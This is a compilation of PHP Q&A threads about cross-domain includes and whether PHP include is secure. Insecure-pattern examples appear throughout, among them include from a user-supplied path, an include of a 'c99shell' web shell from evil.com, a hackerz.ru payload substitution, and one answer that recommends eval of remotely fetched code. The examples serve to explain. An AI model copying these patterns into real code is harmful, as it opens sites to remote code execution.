How to pull code from another domain - php

if I had several websites and I would want to read "file.html" in every website, how should I do that? The file.html would be just like this:
<h1>Hot news</h1>
<p>article</p>
I know I can use php include or require,
<? include 'file.html'; ?>
or jQuery, but only within a domain.
.load("file.html");
How should I do that cross-domain?
PS: And yes, I know that's insecure

You can use PHP for it:
<?php echo file_get_contents('http://....'); ?>
The reason why include doesn't work is that url includes are disabled by default since they are horribly insecure - the included document is handled as PHP. However, with file_get_contents no PHP code can be injected and thus it's pretty safe (except client-side things such as XSS if the remote site sends you bad JavaScript code).

Related

Constant set using define() not working in included PHP file

I have this code inside of my header
<?php
define('RELPATH','http://www.saint57records.com/');
include_once(RELPATH.'sidebar.php');
?>
and an example line of code in the sidebar
<img style="margin:10px;" src="<?php print RELPATH;?>images/logo.png" width="60px"/>
but when it gets to the page it includes the file correctly but all the links inside of the file just print RELPATH instead of the web url like this
<img style="margin:10px;" src="RELPATHimages/logo.png" width="60px"/>
It works fine on the other pages of my website, just not inside of Wordpress. Does anyone know what might be causing this issue?
The short answer is to provide a filesystem path to RELPATH, not a web URL.
The long answer is that when you use a web URL to include a PHP file, the PHP file will be treated like an external source. It will be called remotely, executed in a process of its own, and return the results. A constant defined previously can not have an effect in this remote resource.
If http://www.saint57records.com/ is on a different server, you'll have to pass RELPATH to it some other way, e.g. through a GET variable (which you'd have to sanitize with htmlentities() prior to use.) However, including content from a remote server in this way isn't good practice. It'll slow down your page as it'll make an expensive web request. If the target server is down, your page will time out.

is it wrong to use full links inside includes?

I've read so many different inputs on this, so I figured I would ask on here.
Is there anything wrong or dangerous about using full links inside a php include?
Examples,
<?php include('http://www.domain.com/blah.php'); ?>
<?php
define('WEB_ROOT', './'); // relative path to /
include('layout.php');
?>
compared to using
<?php
include('../blah.php');
?>
include('http://www.domain.com/blah.php') goes out and makes an actual HTTP request to the web server, returning the contents of the URL after the web server has processed them, just as you'd see when entering that URL in your browser.
include('../blah.php') includes the local file from disk one directory higher.
The two are completely different things and you do not want to include a URL when you mean to include a local file. Even if the two are supposedly the same file, PHP cannot know that. Accessing a URL and accessing a local file path are entirely different things. It's not possible to infer that the two are the same.
<?php include('http://www.domain.com/blah.php'); ?> is very dangerous, you can't know in 100% what is the code you will get!!! becuse PHP do HTTP request and someome can do ManInTheMiddel attack and to change the code you will get, and to hack your site.

Very strange php include behavior..

I am experiencing some very strange behavior when including a php file.
I need to load a script that is not on the same domain as the page that will be calling it.
I have already created a system that works using cURL, but I just recently found out that many of the sites that will need to have access to this script, do not have cURL installed.
I did, however, notice that these sites have allow_url_fopen set to on. With this knowledge I got started creating a new system that would let me just include the script on the remote site.
Just testing this out, I coded the script test.php as follows:
<?php
echo("test");
?>
I include this script on the remote page using:
<?php
include("http://mydomain.com/script.php");
?>
and it works no problem and "test" is printed at the top of the page.
However, if I add a function to the script and try to call the function from the page, it crashes.
To make it worse, this site has php errors turned off and I have no way of turning it on.
To fully make sure that I didn't just mess up the code, I made my test.php look like this:
<?php
function myfunc()
{
return "abc";
}
?>
Then on the page including the file:
<?php
include("http://mydomain.com/script.php");
echo(myfunc());
?>
And it crashes.
Any ideas would be greatly appreciated.
This is not odd behavior, but since you load the file over the internet (note in this case the World Wide Web), the file is interpreted before it is sent to your include function.
Since the script is interpreted no functions will be visible, but only the output of the script.
Either load it over FTP or create an API for the functions.
My guess: The PHP of http://mydomain.com/script.php is interpreted by the web server of mydomain.com. All you're including is the result of that script. For a simple echo("test"), that's "test". Functions do not produce any output and are not made available to the including script. Confirm this by simply visiting http://mydomain.com/script.php in your browser and see what you get. You would need to stop mydomain.com from actually interpreting the PHP file and just returning it as pure text.
But: this sounds like a bad idea to begin with. Cross-domain includes are an anti-patterns. Not only does it open you up to security problems, it also makes every page load unnecessarily slow. If cross-domain inclusions is the answer, your question is wrong.
You are including the client side output from test.php rather than the server-side source code. Rename test.php to test.phpc to prevent executing the script. However this is dangerous out of security point of view.

PHP - Is "include" function secure?

I'm using the "include" function (e.x. "include 'header2.php'" or "include 'class.users.php'")
to add the header or session class in my website. I don't really remember where, but I heard that hackers abuse, somehow, this "include" thing, sending the fake included page or something like that.
So basically I would like to know what's with that "include" function, how can I protect it, how do they abuse it and if there are better solutions for what I am looking for.
Thanks in advance.
It all depends on how you implement it. If you specifically set the path, then it's secure. The attack could happen if you allow user input to determine the file path without sanitization or checks.
Insecure (Directory Traversal)
<?php
include($_GET['file']);
?>
Insecure (URL fopen - If enabled)
<?php
include('http://evil.com/c99shell.php');
?>
Insecure
<?php
include('./some_dir/' . $_GET['file']);
?>
Partially Insecure ( *.php files are vulnerable )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
Secure (Though not sure why anyone would do this.)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
Secure
<?php
include('./includes/somefile.php');
?>
The biggest issue with includes is likely changing filename extension from PHP to something that doesn't get automatically executed by the web server. For example- library.inc, or config.inc. Invoking these files with a web browser will reveal the code instead of executing it - and any passwords or exploitable hints will be shown.
Compare config.php that might have a password in it with config.inc. Pulling up config.inc would in most cases show what the database password was.
There are programmers who use .inc extensions for libraries. The premise is that they won't be in a directory accessible by a web server. However, less security paranoid programmers might dump that file into a convenient web directory.
Otherwise, ensure that you don't include a file that's submitted by a query string somehow. Ex: include( $_GET['menu_file'] ) <-- this is very wrong.
Include can be abused if you do something like this:
include($_GET["page"]);
and then call the URL:
myscript.php?page=index.php
attackers can then substitute index.php for hxxp://hackerz.ru/install_stuff.php and your server will gladly run it.
include itself is perfectly safe. Just make sure to always validate/escape your input.
Anything server side (assuming your server isn't compromised) is safe. Doing this:
Insecure
$var = $_GET['var']';
include $var . ".php";
Secure
include "page.php";
Include is safe provided you don't:
Include a remote file like www.someoneelsesssite.com/something.php
Include a file from a path that came from the client. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
Include a file from another possibly tainted source like a database.
2 and 3 technically have the caveat that if you disallow . or / or on windows \ you are probably fine. But if you don't know why, you don't know enough about it to risk it. Even when you think the database is read only or otherwise secure, it is wise to not assume that unless you really have to, which is almost never.
As pp19dd's answer points out. It is also vital that you name your includes with the .php extension. If you've set apache (or whatever web server you are using) to parse another file type as PHP too, that's safe as well. But if you don't know for sure, use .php exclusively.
The best thing to do is ensure that the page you are trying to include exists first. The real security loopholes come when your include page is processed from some sort of user input, such as a URL variable. ?include=page.php As long as you are cautious of these you should be fine.
if(is_file($file)) {
//other code, such as user verification and such should also go here
include $file;
}
else { die(); }
I'm using this method.
<?php include (dirname(__FILE__).'/file.php');

Grabbing Domain Name With Include In PHP

I know how to find out the current domain name in PHP already, the problem is when I put this code into a file and then include it from another server it shows the domain name of where the file is located. Is there any way for it to find out the domain or the site containing the include() code?
Are you doing something like:
include 'http://example.com/script.php';
?
NB: This approach generally considered to be a bit of no-no from a security point of view.
Anyway, the included script is actually being executed on the other server, then the output of the script is being executed on the current server. You can get around this by echoing actual code, something like this:
Currently:
<?
//do something
echo '$v = '.$_SERVER['HTTP_HOST'].';'
?>
Other way:
<?
//do something
?>
$v = $_SERVER['HTTP_HOST'];
But then maybe I'm misunderstanding your question.
You can run it locally using "eval" then it should use the proper domain
store your script as a text file then download it and then execute:
eval(file_get_contents("http://someDomain.com/somePhpscript.txt"));
If you include a PHP page from another server, the page will get parsed by the original server and the result will be sent to you - the page you receive is nothing but text, no PHP code included.
This is a crude hack, but on the remote server, you could look up the domain name of $_ENV['REMOTE_HOST'].
This would be the domain name of the guy doing the "include" from the perspective of the remote server.
I assume you have some reason for wanting to implement this strange topology--restrictions in a virtual host environment, or something. I would suggest looking into alternative infrastructure if possible.

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